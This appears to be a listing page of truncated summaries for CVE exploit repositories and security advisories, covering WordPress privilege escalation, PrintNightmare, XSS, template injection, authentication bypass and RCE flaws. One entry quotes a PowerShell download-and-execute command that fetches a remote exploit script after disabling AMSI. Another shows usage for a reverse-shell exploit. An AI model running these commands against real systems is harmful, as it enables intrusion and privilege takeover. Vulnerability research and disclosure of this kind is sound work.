CVE-2024-54363-Exploit

CVE-2024-54363-Exploit Incorrect Privilege Assignment vulnerability in nssTheme Wp NssUser Register allows Privilege Escalation.This issue affects Wp NssUser Register: from n/a through 1.0.0. Description The nssTheme Wp NssUser Register plugin for WordPress is vulnerable to an Incorrect Privilege...

cve-2021-1675

cve-2021-1675 disble amsi: copy into powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt execute invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' create admin account...

CVE-2022-44870

CVE-2022-44870 maccms admin+ xss attacks Overview Manufacturer's website information：https://maccms.pro Source code download address ： https://github.com/maccmspro/maccms10.git 1. Affected version: V2021.1000.2000 2.Vulnerability details https://github.com/maccmspro/maccms10/issues/23 Go to...

CVE-2026-26719

Description Summary A stored Cross‑Site Scripting vulnerability exists in xxl-job-admin JobInfoController.java where the addressList parameter accepts unsanitized URL‑encoded JavaScript. The payload is stored and later executed in users’ browsers, lead unauthorized actions. Affected Products...

CVE-2023-3460

🚨 CVE-2023-3460 - WordPress Ultimate Member Privilege Escalation Exploit This is a proof-of-concept PoC exploit for CVE-2023-3460, a critical vulnerability in the WordPress plugin Ultimate Member. It allows unauthenticated users to escalate their privileges to Administrator by crafting a maliciou...

gvfs: gvfs-admin socket ownership race permits local root

A flaw was found in the admin backend of gvfs. The privileged gvfsd-admin daemon changes the ownership of newly created private D-Bus sockets by calling the link-following chown function on a pathname inside a user-controlled directory. A local attacker can exploit this via a Time-of-Check...

Important: Red Hat Security Advisory: gvfs security update

An update for gvfs is now available for Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

CVE-2022-22845-Exploit

CVE-2022-22845-Exploit Exploit for CVE-2022-22845 - Unauthenticated Admin Takeover On QXIP SIPCAPTURE Homer-App up to 1.4.27 Discovery: Omri Baso & Fabien Aunay Exploit Author: Omri Baso...

CVE-2022-3552

CVE-2022-3552 In order to exploit the vulnerability in BoxBlilling, the version will have to be: "BoxBilling=4.22.1.5" and you will have to have valid admin credentials. If you have the situation above, here are the steps you have to take in order to get the juicy RCE: Create a python virtual...

CVE-2023-23752

CVE-2023-23752 About This exploit is Authentication Bypass leaking username password administrator and also leaking mysql config username , password , host and database Vulnerable Version only 4.00 = 4.28 Usage usage: exploit.sh -h -u URL -t TARGETS CVE-2023-23752 - Authentication Bypass...

CVE-2023-32707

CVE-2023-32707 An improved POC exploit based on the reported CVE on exploitdb Exploit Title: Splunk 9.0.5 - Admin Account Takeover CVE: CVE-2023-32707 Overview This script allows for exploiting a vulnerability in Splunk 9.0.5, leading to admin account takeover. The exploit leverages a low-privile...

CVE-2024-47533

CVE-2024-47533 – Cobbler XML-RPC Authentication Bypass Exploit 📜 Description CVE-2024-47533 is a critical authentication bypass vulnerability in Cobbler, a Linux installation server that automates network-based OS installs. The flaw is caused by an issue in utils.getsharedsecret which always...

Apache-ShenYu-Admin-JWT-CVE-2021-37580-

This repository does not have a README...

CVE-2022-25813

CVE-2022-25813: FreeMarker Server-Side Template Injection in Apache OfBiz By inserting malicious content in a message’s “Subject” field, an attacker may perform SSTI Server-Side Template Injection attacks, which can leverage FreeMarker exposed objects to bypass restrictions and obtain RCE Remote...

CVE-2023-43147

CVE-2023-43147 Vendor: PHPJabbers Vendor Homepage: https://www.phpjabbers.com/ Software Link: https://www.phpjabbers.com/limo-booking-software Version: 1.0 Tested on: Windows 10 Pro Impact: Add an attacker user with admin privileges CVE: Cross Site Request Forgery vulnerability in...

CVE-2026-105949

Cruise Control's Jetty ConstraintSecurityHandler registers security constraints on exact path specs without a catch-all wildcard constraint and without calling setDenyUncoveredHttpMethodstrue. The servlet routes requests using Path.ofpathInfo.getFileName, which strips all leading segments and...

CVE-2021-21425-RCE

this is my version i found a lot in internet but those are too bad USAGE python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 wait.. for 60sec you will get shell at your listener...

CVE-2019-6249_Hucart-cms

CVE-2019-6249Hucart cms I. Vulnerability Summary Vulnerability Name: CSRF vulnerability in Hucart cms v5.7.4 allows arbitrary addition of administrator accounts Disclosure Date: 2019-01-13 Discovered by: AllenChen [email protected] Product Homepage: http://www.hucart.com/ Software Link:...

Glassfish-research

GlassFish Security Research Vulnerability research on the Eclipse GlassFish administration console. CVE| Issue| Severity| Status ---|---|---|--- CVE-2026-2586| EL injection → RCE| 9.1 Critical| Fixed in 8.0.2 —| —| —| Pending disclosure CVE-2026-2586 — EL Injection to RCE Affected: 8.0.2 · CWE-91...

proofpoint-CVE-2023-0089

About Security researcher: ly1g3, ly1g3attuta.io GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 Overview: Remote Code Execution - Low level authenticated user to admin RCE CVE: CVE-2023-0089 Timeline: Discovered - ly1g3 Reported - ly1g3...